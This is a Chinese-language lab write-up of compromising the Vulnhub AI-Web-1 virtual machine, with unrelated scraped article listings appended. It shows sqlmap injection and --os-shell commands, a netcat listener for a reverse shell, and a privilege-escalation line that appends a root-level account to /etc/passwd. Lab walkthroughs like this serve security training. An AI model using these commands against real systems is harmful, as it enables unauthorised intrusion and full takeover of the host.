靶机地址:172.16.1.195

Kali地址:172.16.1.107

1、信息收集

端口扫描:

目录扫描:

发现robots.txt敏感文件,查看

存在/m3diNf0/,/se3reTdir777/uploads/。

尝试访问/m3diNf0/,没有权限。扫描/m3diNf0/目录

存在info.php文件,查看

先记下相关信息,继续查看第一次扫描出来的目录。

查看/se3reTdir777/uploads/,没有权限访问。在继续扫描目录后发现,仅有/se3reTdir777/有权限访问

输入1显示

2、漏洞发现与利用

相关敏感信息:

  http://172.16.1.195/se3reTdir777//m3diNf0/info.php

注入点:

  http://172.16.1.195/se3reTdir777

尝试用SQLmap跑一下注入点

sqlmap -u "http://172.16.1.195/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --dbs

  注入点:uid

  数据库类型:MySQL 5.0.12

  注入类型:时间盲注

  存在的数据库:[*] aiweb1(当前)  [*] information_schema

  aiweb1库中的表:user ,systemUser

依次向下:

  爆user表中的字段发现firstName、Id、lastName,没有必要继续了

  爆systemUser表的字段,没有出来结果

此时,尝试使用SQLmap的--os-shell命令

  os-shell执行条件有三个:

    网站必须是root权限

    网站的绝对路径已知

    GPC为off。php主动转义的功能关闭

执行命令:

sqlmap -u "http://172.16.1.195/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell

依次选择PHP、custom location(s)

根据info.php文件暴露的信息,绝对路径选择:

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

查看文件权限

反弹shell

另开启一个终端,准备php文件,写入一下内容

Kali开启http.server后,os-shell终端下载到靶机

另一个终端监听端口:nc -lnvp 4444

在os-shell终端上,php执行上传的php文件

获取到反弹的shell

升级为交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'

3、权限提升

网站用户权限,发现可以读取passwd

尝试增加用户,写入passwd

先对密码进行加密

$1$xp$4UEKxIegpvBEuB59Y0qFZ0

写入账号密码:echo 'xp:$1$xp$4UEKxIegpvBEuB59Y0qFZ0/:0:0::/root:/bin/bash'>>/etc/passwd  

  passwd文件规则:

     第一列:账户名称

    第二列:密码占位符(x表示该用户需密码登录,为空表示账户无需密码登录)

    第三列:用户UID

    第四列:GID

     第五列:账户附加基本信息(一般存储账户全名称、联系方式等)

     第六列:账户家目录位置

    第七列:账户登录shell(/bin/bash可登录,/sbin/nologin表示账户无法登录系统)

切换用户

提权成功,拿到用户权限

AI-web-1靶机过关记录的更多相关文章

  1. Goldeneye 靶机过关记录

    注:因记录时间不同,记录中1.111和1.105均为靶机地址. 1信息收集 1.1得到目标,相关界面如下: 1.2简单信息收集 wappalyzer插件显示: web服务器:Apache 2.4.7 ...

  2. Os-hackNos-1靶机过关记录

    靶机地址:172.16.1.198(或112)  kali地址:172.16.1.108 1 信息收集 靶机界面如下 简单查看 OS:Ubuntu Web:Apache2.4.18 尝试端口扫描 开放 ...

  3. Vulnhub-dpwwn-01靶机过关记录

    靶机地址:172.16.1.192 Kali 目录扫描 查看info.php 端口扫描 开放3306,尝试弱密码或爆破mysql. 账户为root,密码为空,成功登陆. 查看数据库:再查看ssh表 查 ...

  4. AI:WEB:1 Walkthrough

    AI: Web: 1 Vulnhub Walkthrough靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/测试方法:    Nmap网络扫描    浏 ...

  5. 一次优化web项目的经历记录(三)

    一次优化web项目的经历记录 这段时间以来的总结与反思 前言:最近很长一段时间没有更新博客了,忙于一堆子项目的开发,严重拖慢了学习与思考的进程. 开水倒满了需要提早放下杯子,晚了就会烫手,这段时间以来 ...

  6. 一次优化web项目的经历记录(二)

    一次优化web项目的经历记录 这段时间以来的总结与反思 前言:最近很长一段时间没有更新博客了,忙于一堆子项目的开发,严重拖慢了学习与思考的进程. 开水倒满了需要提早放下杯子,晚了就会烫手,这段时间以来 ...

  7. 一次优化web项目的经历记录(一)

    一次优化web项目的经历记录 这段时间以来的总结与反思 前言:最近很长一段时间没有更新博客了,忙于一堆子项目的开发,严重拖慢了学习与思考的进程.开水倒满了需要提早放下杯子,晚了就会烫手,这段时间以来, ...

  8. Dynamics CRM2016 Web API之创建记录

    前篇介绍了通过primary key来查询记录,那query的知识点里面还有很多需要学习的,这个有待后面挖掘,本篇来简单介绍下用web api的创建记录. 直接上代码,这里的entity的属性我列了几 ...

  9. Web前端理论知识记录

      Web前端理论知识记录 Elena· 5 个月前 cookies,sessionStorage和localStorage的区别? sessionStorage用于本地存储一个会话(session) ...

随机推荐

  1. Activiti7流程定义

    一.什么是流程定义 流程定义是线下bpmn2.0标椎去描述业务流程,通常使用activiti-explorer(web控制台)或 activiti-eclipse-designer 插件对业务流程进行 ...

  2. iOS 内存管理:从 MRC 到 ARC 实践

    对于 iOS 程序员来说,内存管理是入门的必修课.引用计数.自动释放等概念,都是与 C 语言完全不同的. iOS 内存管理的核心是引用计数. 接触 MRC 时遇到最头疼的问题就是:为什么那么多 rel ...

  3. 一些常用关键字的用法(一.static)

    17:36:26 2020-04-05 又是充实的一天,刚刚开始学习不久java的我,从面向过程的语言转变到面向对象的语言,在思想上上还是需要花费很多时间转变的.今天学习到了这几个关键字了,觉得这几个 ...

  4. SQL 实习

    一. tem表 group by 分组后,有三个编号,找出最下的订单时间,比较选出时间段内的数据.注意group by 和 having的用法. group by 的用法 不用聚合函数的时候,每类出现 ...

  5. QCustomPlot图形和图例同步方法

    QCustomPlot图形和图例同步前言 我现在有几条折线,折线和图例一一对应,不管点击图例或者折线,相关的都高亮 QCustomPlot图形和图例同步方法 // 链接信号槽 m_plot即为QCus ...

  6. 从养孩子谈谈 IO 模型(一)

    同步/异步.阻塞/非阻塞 说的是一回事儿吗? 同步/异步.阻塞/非阻塞 你能通俗易懂的讲清楚吗? Java 中的 BIO.NIO.AIO 你了解吗? Socket 编程你还会吗? Linux 操作系统 ...

  7. 在 UITextField 中添加删除绑定(绑定删除)

    要解决的问题 在输入框中,需要整体删除诸如 “xxx@xx.com” 或 “@xxxx” 等文本 实现思路 在删除动作时,获取到当前光标的位置,如果在光标正在处在上述文本范围内,就删除一整串文本 如何 ...

  8. web页面调用支付宝支付

    web页面调用支付宝支付 此文章是前端单独模拟完成支付,若在线上环境则需要后台配合产生签名等参数 在蚂蚁金服开放平台申请沙箱环境 将沙箱环境中的密钥.应用网关.回调地址补全,生成密钥的方法在此 配置好 ...

  9. 字符串操作 — Google Guava

    前言 Java 里字符串表示字符的不可变序列,创建后就不能更改.在我们日常的工作中,字符串的使用非常频繁,熟练的对其操作可以极大的提升我们的工作效率,今天要介绍的主角是 Google 开源的一个核心 ...

  10. 关于selenium定位元素时,出现此问题的处理办法:find_element=wait.until(ec.presence_of_element_locatetd(locator))定位不到页面元素的问题

    最近再用,selenium中的from selenium.webdriver.common.by import By方法时,一直报错如下(图一),各种百度都没有解决,最后只能脱离框架,从最原始的代码开 ...